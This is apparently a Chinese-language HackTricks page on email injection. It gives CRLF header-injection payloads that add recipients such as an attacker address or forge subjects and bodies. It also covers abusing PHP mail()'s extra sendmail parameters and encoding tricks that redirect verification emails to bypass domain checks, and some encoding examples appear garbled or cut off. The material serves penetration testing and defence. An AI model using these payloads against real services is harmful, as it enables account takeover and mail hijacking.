# Email Injections
\
使用 [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
今天获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
{% endhint %}
## 注入已发送的电子邮件
### 在发件人参数后注入 Cc 和 Bcc
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
消息将被发送到收件人和收件人1账户。
### 注入参数
```
From:sender@domain.com%0ATo:attacker@domain.com
```
消息将发送到原始收件人和攻击者账户。
### 注入主题参数
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
假主题将被添加到原始主题中,在某些情况下将替换它。这取决于邮件服务的行为。
### 更改消息的主体
注入一个两行换行符,然后写下您的消息以更改消息的主体。
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() 函数利用
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### 第五个参数 ($additional\_parameters)
本节将基于**假设攻击者控制了此参数的情况下如何滥用此参数**。
此参数将被添加到 PHP 用于调用二进制 sendmail 的命令行中。然而,它将通过函数 `escapeshellcmd($additional_parameters)` 进行清理。
在这种情况下,攻击者可以**注入 sendmail 的提取参数**。
#### /usr/sbin/sendmail 实现中的差异
**sendmail** 接口是由系统上安装的 MTA 邮件软件(Sendmail、Postfix、Exim 等)**提供的**。尽管出于兼容性原因,**基本功能**(如 -t -i -f 参数)保持**相同**,但**其他功能和参数**根据安装的 MTA 有很大差异。
以下是 sendmail 命令/接口的不同手册页的一些示例:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
根据**sendmail** 二进制文件的**来源**,发现了不同的选项来滥用它们并**泄露文件或甚至执行任意命令**。查看如何在 [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## 在电子邮件名称中注入
{% hint style="danger" %}
请注意,如果您设法在具有任意域名的服务中创建帐户(如 Github、Gitlab、CloudFlare Zero trust...)并通过在您的邮件地址中接收验证电子邮件来验证它,您可能能够访问受害公司敏感位置
{% endhint %}
### 被忽略的电子邮件部分
符号:**+、-** 和 **{}** 在少数情况下可以用于标记,并被大多数电子邮件服务器忽略
* 例如 john.doe+intigriti@example.com → john.doe@example.com
**括号 () 中的注释** 在开头或结尾也会被忽略
* 例如 john.doe(intigriti)@example.com → john.doe@example.com
### 白名单绕过
### 引号
### IP
您还可以使用方括号中的 IP 作为域名:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### 电子邮件编码
如 [**本研究**](https://portswigger.net/research/splitting-the-email-atom) 中所述,电子邮件名称也可以包含编码字符:
* **PHP 256 溢出**:PHP `chr` 函数将继续向字符添加 256,直到它变为正数,然后执行操作 `%256`。
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
此技巧的目的是以 `RCPT TO:<"collab@psres.net>collab"@example.com>` 这样的注入结束\
这将把验证电子邮件发送到与预期不同的电子邮件地址(因此在电子邮件名称中引入另一个电子邮件地址并在发送电子邮件时破坏语法)
{% endhint %}
不同的编码:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@